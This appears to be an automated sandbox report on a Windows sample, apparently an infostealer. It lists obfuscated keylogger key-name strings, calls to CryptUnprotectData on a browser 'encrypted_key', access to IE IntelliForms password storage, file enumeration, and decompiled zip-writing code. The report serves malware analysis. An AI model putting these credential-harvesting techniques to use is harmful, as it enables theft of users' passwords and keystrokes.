[D00Wg us], xrefs: 00409A3F
@, xrefs: 00409C81
[jRS], xrefs: 00409AC9
[XR6d05], xrefs: 00409AE4
[Ctrl+%s], xrefs: 00409BD4
[jR5d0], xrefs: 00409A8A
[c0dCw], xrefs: 00409AD2
[9Cnd aWgR], xrefs: 00409AC0
@, xrefs: 00409B49
[MY0Wii mWYw], xrefs: 00409A81
[D00Wg r4nI5], xrefs: 00409AA5
[D00Wg md85], xrefs: 00409A9C
[PCs6 mWYw], xrefs: 00409AED
[qCV], xrefs: 00409A93

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: State$ByteCharMultiVirtualWide$KeyboardNameTextUnicode
String ID: @$@$@$[%s]$[-Wld]$[904R5 MY0ddR]$[9Cnd aWgR]$[9Cnd us]$[Ctrl+%s]$[D00Wg aWgR]$[D00Wg md85]$[D00Wg r4nI5]$[D00Wg us]$[MY0Wii mWYw]$[P50i+%Y]$[PCs6 mWYw]$[XR6d05]$[adid5d]$[c0dCw]$[cCYw6sCYd]$[j6Y]$[jR5d0]$[jRS]$[qCV]
API String ID: 284565539-287945508
Opcode ID: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction ID: 165817b8f912d8248abf4659c11c564849502453b133aa370f8f06421a69fc02
Opcode Fuzzy Hash: a7201299a71ac298b4eb1a048ca88babafc008e2bbcecdb455fdf88870e38ce2
Instruction Fuzzy Hash: 5D815AB0608351DAD720AF59D4C436FBAF4FB81304F51892FE4D566282C3BD49859F6B

Uniqueness

Uniqueness Score: -1.00%

Function 0041D049, Relevance: 25.0, APIs: 11, Strings: 3, Instructions: 453
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 15%

			E0041D049(signed int __ecx, signed int __edx, intOrPtr* _a4, signed int _a8, char* _a12, char* _a16, signed short _a20, signed char _a24, intOrPtr _a28) {
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v42;
				char _v46;
				char _v50;
				char _v51;
				unsigned short _v52;
				char _v53;
				unsigned short _v54;
				char _v56;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				void _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				char _v92;
				signed short _v94;
				signed short _v96;
				signed short _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed short _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				void* _v164;
				signed int _v168;
				intOrPtr _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				void* _v212;
				signed int _v216;
				signed short _v220;
				signed int _v224;
				signed int _v228;
				void* _v232;
				signed char _t265;
				signed short _t270;
				char* _t282;
				struct _IO_FILE* _t286;
				signed int _t289;
				signed int _t294;
				signed int _t295;
				void* _t304;
				signed int _t316;
				void* _t332;
				signed int _t344;
				signed int _t347;
				signed int _t349;
				signed int _t355;
				int _t358;
				void* _t367;
				signed int _t369;
				signed int _t371;
				int _t376;
				void* _t379;
				char* _t381;
				void* _t392;
				char* _t393;
				unsigned short _t394;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t410;
				signed int _t417;
				unsigned short _t422;
				signed int _t441;
				char* _t447;
				signed int _t448;
				void* _t449;
				signed int _t451;
				char _t452;
				signed int _t453;
				signed int _t454;
				void* _t455;
				char** _t456;

				_t410 = __edx;
				_t397 = __ecx;
				_t456 = _t455 - 0xdc;
				_t449 = _a4;
				_v96 = 0;
				_v94 = 0;
				_v112 = _a20;
				_t265 = _a24;
				if(_t265 < 0) {
					_t265 = 6;
				}
				if(_t449 == 0 ||  *((intOrPtr*)(_t449 + 0x48)) == 0 ||  *((intOrPtr*)(_t449 + 0x14)) != 2 || _a8 == 0) {
					L17:
					_t441 = 0;
					goto L61;
				} else {
					_t451 = _t265 & 0x0000000f;
					_t398 = _t397 & 0xffffff00 | _v112 != 0x00000000;
					if((_t398 & (_t410 & 0xffffff00 | _a16 == 0x00000000)) == 0 && _t451 - 0xa > 0 <= 0 && (_t265 & 0x00000004) == 0 && E00414919(_a8) != 0) {
						asm("repne scasb");
						_t270 =  !(_t398 | 0xffffffff) - 1;
						_v140 = _t270;
						if(_t270 > 0xffff) {
							goto L17;
						}
						_t392 = E0041493A(_t449);
						if( *(_t449 + 0x10) == 0xffff) {
							goto L17;
						}
						_v144 = 0;
						_v164 =  *_t449;
						_v160 =  *((intOrPtr*)(_t449 + 4));
						asm("adc edx, [esp+0x4c]");
						_v124 = _t392 + _v164;
						_v120 = 0;
						_v148 = _v140;
						asm("adc edx, 0x0");
						asm("adc edx, [esp+0x5c]");
						asm("adc edx, [esp+0x74]");
						if(0 > 0) {
							goto L17;
						}
						_v232 =  &_v64;
						_t282 = _a12;
						 *_t456 = _t282;
						L0041F7B4();
						if(_t282 != 0) {
							goto L17;
						}
						E00415FC6(_v36,  &_v94,  &_v96);
						_v232 = 0x424983;
						 *_t456 = _a12;
						_t286 = fopen(??, ??);
						_v168 = _t286;
						if(_t286 == 0) {
							goto L17;
						}
						_v228 = 2;
						_v232 = 0;
						 *_t456 = _t286;
						fseek(??, ??, ??);
						 *_t456 = _v168;
						_t289 = ftell(??);
						_v136 = _t289;
						_v156 = _t289;
						_v152 = _t289 >> 0x1f;
						_v228 = 0;
						_v232 = 0;
						 *_t456 = _v168;
						fseek(??, ??, ??);
						if(_v152 <= 0) {
							__eflags = _v136 - 3;
							if(__eflags <= 0) {
								_t451 = 0;
								__eflags = 0;
							}
							_t393 = _t392 + 0x1e;
							 *_t456 = _t393;
							_t294 = E00414DC1(_t449, _v160, _v164, __eflags);
							__eflags = _t294;
							_t441 = _t294;
							if(_t294 != 0) {
								_t417 =  *(_t449 + 0x24);
								_t295 =  *(_t449 + 0x20);
								__eflags = _t417 | _t295;
								if((_t417 | _t295) != 0) {
									asm("adc edx, 0xffffffff");
									__eflags = _t417 & _v120 | _t295 + 0xffffffff & _v124;
									if((_t417 & _v120 | _t295 + 0xffffffff & _v124) != 0) {
										_v228 = 0x18d6;
										_v232 = 0x424620;
										 *_t456 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
										L0041F7E4();
									}
								}
								asm("adc edx, [esp+0x4c]");
								_v164 =  &(_t393[_v164]);
								_v160 = 0;
								memset( &_v64, 0, 0x1e << 0);
								_t456 =  &(_t456[3]);
								_v228 = _v160;
								_v220 = _v140;
								_v224 = _a8;
								_v232 = _v164;
								 *_t456 =  *(_t449 + 0x44);
								_t304 =  *((intOrPtr*)(_t449 + 0x3c))();
								__eflags = _v140 - _t304;
								if(_v140 != _t304) {
									goto L16;
								} else {
									asm("adc edx, [esp+0x4c]");
									_v148 = _v164 + _v148;
									__eflags = _v136 | _v152;
									if((_v136 | _v152) == 0) {
										_t452 = 0;
										__eflags = 0;
										_v164 = 0;
										_v132 = _v136;
										_v116 = _v152;
										L56:
										 *_t456 = _v168;
										fclose(??);
										__eflags = _v116;
										if(_v116 > 0) {
											goto L17;
										}
										__eflags = _v144;
										if(_v144 > 0) {
											goto L17;
										}
										_t422 = _v94;
										__eflags = _t452 - 1;
										_t394 = _v96;
										_t316 = memset( &_v64, 0, 0x1e << 0);
										_t456 =  &(_t456[3]);
										asm("sbb eax, eax");
										_v52 = _t422;
										_v51 = _t422 >> 8;
										_v54 = _t394;
										_v60 =  !_t316 & 0x00000014;
										_v64 = 0x50;
										_v56 = _t452;
										_v63 = 0x4b;
										_v62 = 3;
										_v61 = 4;
										_v53 = _t394 >> 8;
										E00414900( &_v50, _v164);
										E00414900( &_v46, _v132);
										E00414900( &_v42, _v136);
										_v220 = 0x1e;
										_v36 = 0;
										_v35 = 0;
										_v38 = _v140;
										_v228 = _v120;
										_v37 = _v140 >> 8;
										_v224 =  &_v64;
										_v232 = _v124;
										 *_t456 =  *(_t449 + 0x44);
										_t332 =  *((intOrPtr*)(_t449 + 0x3c))();
										__eflags = _t332 - 0x1e;
										if(_t332 != 0x1e) {
											goto L17;
										}
										_v208 = _t452;
										_v188 = _a28;
										_v192 = _v120;
										_v196 = _v124;
										_v224 = _v152;
										_v200 = _v94 & 0x0000ffff;
										_v204 = _v96 & 0x0000ffff;
										_v212 = _v164;
										_v220 = _v132;
										_v216 = _v116;
										_v228 = _v156;
										_v232 = _v112 & 0x0000ffff;
										 *_t456 = _a16;
										_t344 = E00416311(_t449, _v140 & 0x0000ffff, _a8);
										__eflags = _t344;
										if(_t344 == 0) {
											goto L17;
										}
										_t441 = 1;
										_t261 = _t449 + 0x10;
										 *_t261 =  *(_t449 + 0x10) + 1;
										__eflags =  *_t261;
										 *_t449 = _v148;
										 *((intOrPtr*)(_t449 + 4)) = _v144;
										goto L61;
									}
									_v228 = 0x10000;
									_v232 = 1;
									 *_t456 =  *(_t449 + 0x34);
									_t347 =  *((intOrPtr*)(_t449 + 0x28))();
									__eflags = _t347;
									_t396 = _t347;
									if(_t347 == 0) {
										goto L16;
									}
									__eflags = _t451;
									if(_t451 != 0) {
										_v228 = 0x4df40;
										_v232 = 1;
										 *_t456 =  *(_t449 + 0x34);
										_t349 =  *((intOrPtr*)(_t449 + 0x28))();
										__eflags = _t349;
										_t447 = _t349;
										if(_t349 == 0) {
											L52:
											_v232 = _t396;
											 *_t456 =  *(_t449 + 0x34);
											 *((intOrPtr*)(_t449 + 0x2c))();
											goto L16;
										}
										_v228 = 0;
										_v232 = 0xfffffff1;
										 *_t456 = _t451;
										_v92 = _t449;
										_v80 = _v144;
										_v84 = _v148;
										_v76 = 0;
										_v72 = 0;
										_v224 = E0041A99E();
										_v232 = E00416018;
										 *_t456 = _t447;
										_v228 =  &_v92;
										_t355 = E0041A64C();
										__eflags = _t355;
										if(_t355 == 0) {
											_v164 = 0;
											_v148 = _v156;
											_v144 = _v152;
											do {
												__eflags = _v144;
												if(_v144 > 0) {
													L45:
													_t453 = 0x10000;
													L46:
													_v228 = _t453;
													_v232 = 1;
													 *_t456 = _t396;
													_v224 = _v168;
													_t358 = fread(??, ??, ??, ??);
													__eflags = _t453 - _t358;
													if(_t453 != _t358) {
														break;
													}
													_v228 = _t453;
													_v232 = _t396;
													 *_t456 = _v164;
													_t367 = E004171DA();
													_v148 = _v148 - _t453;
													_v164 = _t367;
													asm("sbb [esp+0x5c], edx");
													_v228 = _t453;
													_t369 = _v144 | _v148;
													_v232 = _t396;
													 *_t456 = _t447;
													__eflags = _t369 - 1;
													asm("sbb eax, eax");
													_v224 = _t369 & 0x00000004;
													_t371 = E0041A5F0();
													__eflags = _t371 - 1;
													if(_t371 == 1) {
														_t454 = 1;
														L51:
														_v232 = _t447;
														 *_t456 =  *(_t449 + 0x34);
														 *((intOrPtr*)(_t449 + 0x2c))();
														__eflags = _t454;
														if(_t454 != 0) {
															_t452 = 8;
															_v132 = _v76;
															_v144 = _v80;
															_v116 = _v72;
															_v148 = _v84;
															L54:
															_v232 = _t396;
															 *_t456 =  *(_t449 + 0x34);
															 *((intOrPtr*)(_t449 + 0x2c))();
															goto L56;
														}
														goto L52;
													}
													goto L48;
												}
												__eflags = _v148 - 0xffff;
												if(_v148 > 0xffff) {
													goto L45;
												}
												_t453 = _v148;
												goto L46;
												L48:
												__eflags = _t371;
											} while (_t371 == 0);
											_t454 = 0;
											goto L51;
										}
										_v232 = _t447;
										 *_t456 =  *(_t449 + 0x34);
										 *((intOrPtr*)(_t449 + 0x2c))();
										goto L52;
									}
									_v164 = 0;
									_v132 = _v156;
									_v128 = _v152;
									do {
										__eflags = _v128;
										if(_v128 > 0) {
											L33:
											_t448 = 0x10000;
											L34:
											_v228 = _t448;
											_v232 = 1;
											 *_t456 = _t396;
											_v224 = _v168;
											_t376 = fread(??, ??, ??, ??);
											__eflags = _t448 - _t376;
											if(_t448 != _t376) {
												goto L52;
											}
											_v220 = _t448;
											_v224 = _t396;
											_v232 = _v148;
											_v228 = _v144;
											 *_t456 =  *(_t449 + 0x44);
											_t379 =  *((intOrPtr*)(_t449 + 0x3c))();
											__eflags = _t448 - _t379;
											if(_t448 != _t379) {
												goto L52;
											}
											goto L36;
										}
										__eflags = _v132 - 0x10000;
										if(_v132 > 0x10000) {
											goto L33;
										}
										_t448 = _v132;
										goto L34;
										L36:
										_v228 = _t448;
										_v232 = _t396;
										 *_t456 = _v164;
										_t381 = E004171DA();
										_v132 = _v132 - _t448;
										_v164 = _t381;
										asm("sbb [esp+0x6c], edx");
										_v148 = _v148 + _t448;
										asm("adc [esp+0x5c], edx");
										__eflags = _v128 | _v132;
									} while ((_v128 | _v132) != 0);
									_t452 = 0;
									_v132 = _v136;
									_v116 = _v152;
									goto L54;
								}
							} else {
								 *_t456 = _v168;
								fclose(??);
								L61:
								return _t441;
							}
						}
						L16:
						 *_t456 = _v168;
						fclose(??);
					}
					goto L17;
				}
			}

APIs

_stat.MSVCRT ref: 0041D1A1
fopen.MSVCRT ref: 0041D1DA
fseek.MSVCRT ref: 0041D1FA
ftell.MSVCRT ref: 0041D206
fseek.MSVCRT ref: 0041D231
fclose.MSVCRT ref: 0041D244

Strings

K, xrefs: 0041D698
(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041D2B3
P, xrefs: 0041D682

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fseek$_statfclosefopenftell
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 2614710449-1719531008
Opcode ID: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction ID: 2f0101dfcf5e0978000162e92f0ac79abf139ad8f29847253f420d5a98adee70
Opcode Fuzzy Hash: 54049fe808654b227bba1578e1d34335061ffaf98f8a99cde8e77accde8bca1c
Instruction Fuzzy Hash: 67229FB4A087818FD720DF69C18479BFBE1AF89744F10892EE9D887350E779D885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDD6, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 236stringfileencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00408042: MultiByteToWideChar.KERNEL32 ref: 00408094
Part of subcall function 00408042: _wfopen.MSVCRT ref: 004080AE
Part of subcall function 00408042: fgetpos.MSVCRT ref: 004080F0
Part of subcall function 00408042: fsetpos.MSVCRT ref: 00408126
Part of subcall function 00408042: malloc.MSVCRT ref: 00408132
Part of subcall function 00408042: fread.MSVCRT ref: 00408152
Part of subcall function 00408042: realloc.MSVCRT ref: 00408168
Part of subcall function 00408042: fclose.MSVCRT ref: 00408174

fopen.MSVCRT ref: 0040EE98

Part of subcall function 004074C5: MultiByteToWideChar.KERNEL32 ref: 004074FE
Part of subcall function 004074C5: GetFileAttributesExW.KERNEL32 ref: 00407519

malloc.MSVCRT ref: 0040EEB4
fclose.MSVCRT ref: 0040EEC8
fread.MSVCRT ref: 0040EEE7
fclose.MSVCRT ref: 0040EEEF
CryptUnprotectData.CRYPT32 ref: 0040EFBC
sprintf.MSVCRT ref: 0040F036
strcmp.MSVCRT ref: 0040F046
strcmp.MSVCRT ref: 0040F05A

Strings

encrypted_key, xrefs: 0040EEF8, 0040EF18
!, xrefs: 0040EFD7
0x0D, xrefs: 0040F03B
0x05, xrefs: 0040F04F
0x%02hhX, xrefs: 0040F027

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclose$ByteCharMultiWidefreadmallocstrcmp$AttributesCryptDataFileUnprotect_wfopenfgetposfopenfsetposreallocsprintf
String ID: !$0x%02hhX$0x05$0x0D$encrypted_key
API String ID: 2596569898-939079894
Opcode ID: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction ID: 786053efb03fb7134250340436023ef553204ed8f41ee6c066ba5e47f52fe47d
Opcode Fuzzy Hash: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction Fuzzy Hash: FEC1EAB1A053198FDB50DF25C844B9EBBF0BF45308F0588AEE489E7681D7789A84CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00406F83, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184stringfileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00407056
FindFirstFileA.KERNEL32 ref: 0040708A
strcmp.MSVCRT ref: 004070B2
strcmp.MSVCRT ref: 004070CA
strcat.MSVCRT ref: 00407110
fopen.MSVCRT ref: 00407157
strncpy.MSVCRT ref: 00407195
fclose.MSVCRT ref: 004071D3
strcpy.MSVCRT ref: 00407242
FindNextFileA.KERNEL32 ref: 0040725E
FindClose.KERNEL32 ref: 00407274

Strings

%s\*.*, xrefs: 00407060
%s%s, xrefs: 004070DF
%s%s\, xrefs: 004071EE

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$Filestrcmp$CloseErrorFirstModeNextfclosefopenstrcatstrcpystrncpy
String ID: %s%s$%s%s\$%s\*.*
API String ID: 1295692060-2283468316
Opcode ID: cc94f65e219aa78bc87248342c53200a3b884502bad93e8bca9f56ca5310b663
Instruction ID: 6627613b86e129a79f3514e70df2e2269c09e6d90b38cf378645e3f88cd6e25a
Opcode Fuzzy Hash: cc94f65e219aa78bc87248342c53200a3b884502bad93e8bca9f56ca5310b663
Instruction Fuzzy Hash: 28811CB44087459FC710EF25C2846AEBBE4BF84318F45892EF9D89B342D7789486DF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040753D, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 280fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 004075C4
SetErrorMode.KERNEL32 ref: 004076EB
MultiByteToWideChar.KERNEL32 ref: 0040771F
wcscat.MSVCRT ref: 00407732
FindFirstFileW.KERNEL32 ref: 00407745
FindClose.KERNEL32(?,?), ref: 00407775
WideCharToMultiByte.KERNEL32 ref: 00407809
MultiByteToWideChar.KERNEL32 ref: 00407932
wcscat.MSVCRT ref: 00407948

Part of subcall function 00406B2B: _wfopen.MSVCRT ref: 00406B69
Part of subcall function 00406B2B: fread.MSVCRT ref: 00406BA2
Part of subcall function 00406B2B: fclose.MSVCRT ref: 00406C1A

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004079AB

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

FindNextFileW.KERNEL32(?,?), ref: 00407A42

Strings

%s%s\, xrefs: 0040789A
!, xrefs: 00407951

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$Find$CriticalFileSectionwcscat$CloseEnterErrorFirstLeaveModeNext_vsnprintf_wfopenfclosefread
String ID: !$%s%s\
API String ID: 1195691543-1081718417
Opcode ID: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction ID: 2942108eb55d8b4688eca57bfe31ed8b2614f53b08094f2a7ccf2ab1801ba34f
Opcode Fuzzy Hash: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction Fuzzy Hash: 5DE1B0B09097819FD320EF25C58879FBBE0BF84744F41892EE4D897291D7B895898F87

Uniqueness

Uniqueness Score: -1.00%

Function 0040D745, Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 232registryfileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040D769
RegOpenKeyExA.ADVAPI32 ref: 0040D80C
RegCloseKey.ADVAPI32 ref: 0040D858
fclose.MSVCRT ref: 0040DB08

Strings

rb+, xrefs: 0040D756
A, xrefs: 0040D99A
K, xrefs: 0040D9A5
Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 0040D7F9
/, xrefs: 0040DA54
, xrefs: 0040D7AF
E, xrefs: 0040D98F

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenfclosefopen
String ID: $/$A$E$K$Software\Microsoft\Internet Explorer\IntelliForms\Storage2$rb+
API String ID: 4197589263-417429986
Opcode ID: c0e3fb71f7fc6bda4d548a6fbe01f6975c31a5aa555185305a4db6e8dc71234b
Instruction ID: b3a366508a3bf55356eea0268f728a85e1b25c4e3c11778993a5dcbc8714eb01
Opcode Fuzzy Hash: c0e3fb71f7fc6bda4d548a6fbe01f6975c31a5aa555185305a4db6e8dc71234b
Instruction Fuzzy Hash: B2A1C2B09083419BD710EFA5C18465BBBE0AF85358F00882EF5D897391D7B9D989DF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00413A85, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00413AA4

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

MultiByteToWideChar.KERNEL32 ref: 00413B02
FindFirstFileW.KERNEL32 ref: 00413B18
WideCharToMultiByte.KERNEL32 ref: 00413BB1
WideCharToMultiByte.KERNEL32 ref: 00413CA7
FindNextFileW.KERNEL32 ref: 00413D1B
FindClose.KERNEL32 ref: 00413D3D

Strings

%d:%I64u:%s%s;, xrefs: 00413CCD
%d:%s%s;, xrefs: 00413BCF
%s%s\, xrefs: 00413C1E
%s*, xrefs: 00413AB5

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharFindMultiWide$File$CloseErrorFirstModeNext_vsnprintf
String ID: %d:%I64u:%s%s;$%d:%s%s;$%s%s\$%s*
API String ID: 2650927523-525976846
Opcode ID: 334888fa3b4434e061fa7b69daef3cafc177c312af5b0b50911e5eeb64500dc7
Instruction ID: f6b2b9afb8f28ceff06ae1ca88c29ba9ed65548566ee5afaf2077295461a783a
Opcode Fuzzy Hash: 334888fa3b4434e061fa7b69daef3cafc177c312af5b0b50911e5eeb64500dc7
Instruction Fuzzy Hash: 0971AFB44093459BD320EF6AD18469FBBE0AF84758F008E1EE4D887391D7B89689CF57

Uniqueness

Uniqueness Score: -1.00%

Function 00406453, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204filetimeCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00406492
SetErrorMode.KERNEL32 ref: 004064A1
FindFirstFileW.KERNEL32 ref: 004064B5
FileTimeToSystemTime.KERNEL32 ref: 00406547
WideCharToMultiByte.KERNEL32 ref: 00406617
FindNextFileW.KERNEL32 ref: 00406745
FindClose.KERNEL32 ref: 00406757

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

Strings

%.2d/%.2d/%d %.2d:%.2d:%.2d, xrefs: 00406534
, xrefs: 00406568

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$ByteCharCriticalMultiSectionTimeWide$CloseEnterErrorFirstLeaveModeNextSystemfree
String ID: $%.2d/%.2d/%d %.2d:%.2d:%.2d
API String ID: 2473485750-562013197
Opcode ID: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction ID: 4c70007c882a7ce573aae617e01390b0b466164858f4fbbb4a898ac5e72415b9
Opcode Fuzzy Hash: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction Fuzzy Hash: 36A1B2B48087459FD710EF25C18469BBBE4BF84714F01892EF8D897391D7789589CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00406390, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 004063AF
fopen.MSVCRT ref: 004063DB
_snwprintf.MSVCRT ref: 00406405
fwprintf.MSVCRT ref: 00406415
_snwprintf.MSVCRT ref: 0040641C
FindNextFileW.KERNEL32 ref: 00406428
FindClose.KERNEL32 ref: 00406436
fclose.MSVCRT ref: 00406443

Strings

filenames.txt, xrefs: 004063C7

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$File_snwprintf$CloseFirstNextfclosefopenfwprintf
String ID: filenames.txt
API String ID: 4215708556-1590186953
Opcode ID: 8a012b87caedc31829cbf4f9110065dd04a3999989f632e85736f7b71116f674
Instruction ID: 110ac6783a2aa76cc845fc41d9c104154397b4f26a6f194d14aa4f1c43fee32b
Opcode Fuzzy Hash: 8a012b87caedc31829cbf4f9110065dd04a3999989f632e85736f7b71116f674
Instruction Fuzzy Hash: 7E115BB0509701AEC710AF25898459FFBE4AF80718F018D2EF4D497281D778848A8B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040680D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 168fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00406824
MultiByteToWideChar.KERNEL32 ref: 0040685F
wcscat.MSVCRT ref: 00406872
FindFirstFileW.KERNEL32 ref: 00406885
FindClose.KERNEL32 ref: 004068B2
WideCharToMultiByte.KERNEL32 ref: 00406924
FindNextFileW.KERNEL32 ref: 00406AB7

Strings

%s%s\, xrefs: 00406A5F

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$ByteCharFileMultiWide$CloseErrorFirstModeNextwcscat
String ID: %s%s\
API String ID: 1999808103-4005620730
Opcode ID: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction ID: 3ec7505ef3af3f69d728aa0d249a2e56fce710592115df83b66c59d2158606e8
Opcode Fuzzy Hash: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction Fuzzy Hash: CB8102B06093419FD320EF25C18469BBBE4BF85348F45882EE4C997381D7B89589CF87

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB1C, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 0040DB2D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

FindFirstFileA.KERNEL32 ref: 0040DB6F
FindNextFileA.KERNEL32 ref: 0040DCC6
FindClose.KERNEL32 ref: 0040DCD8

Strings

%s\%s, xrefs: 0040DBD5, 0040DC40
4RSdf.SC5, xrefs: 0040DC15
%s\*.*, xrefs: 0040DB41

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$File$CloseErrorFirstModeNext_vsnprintf
String ID: %s\%s$%s\*.*$4RSdf.SC5
API String ID: 3730131509-632711553
Opcode ID: 614e9fffcf9219516c0050d8f59d1067c41d6f899a0319c1393b422afb48b831
Instruction ID: d2bbd74eba1eaf649f0bd4c37a8a6416b9e5ed0152e307ea26bcf85ad81135cc
Opcode Fuzzy Hash: 614e9fffcf9219516c0050d8f59d1067c41d6f899a0319c1393b422afb48b831
Instruction Fuzzy Hash: 064108B09083459AD720AF66C58455AFBE4FF85318F00892EA4DCD7381D7B8958ACF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D290, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 0040D2E2
CryptCreateHash.ADVAPI32 ref: 0040D31C
CryptHashData.ADVAPI32 ref: 0040D34B
CryptGetHashParam.ADVAPI32 ref: 0040D38A

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

CryptDestroyHash.ADVAPI32 ref: 0040D3F7
CryptReleaseContext.ADVAPI32 ref: 0040D40D

Strings

%.2X, xrefs: 0040D39F, 0040D3CD

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

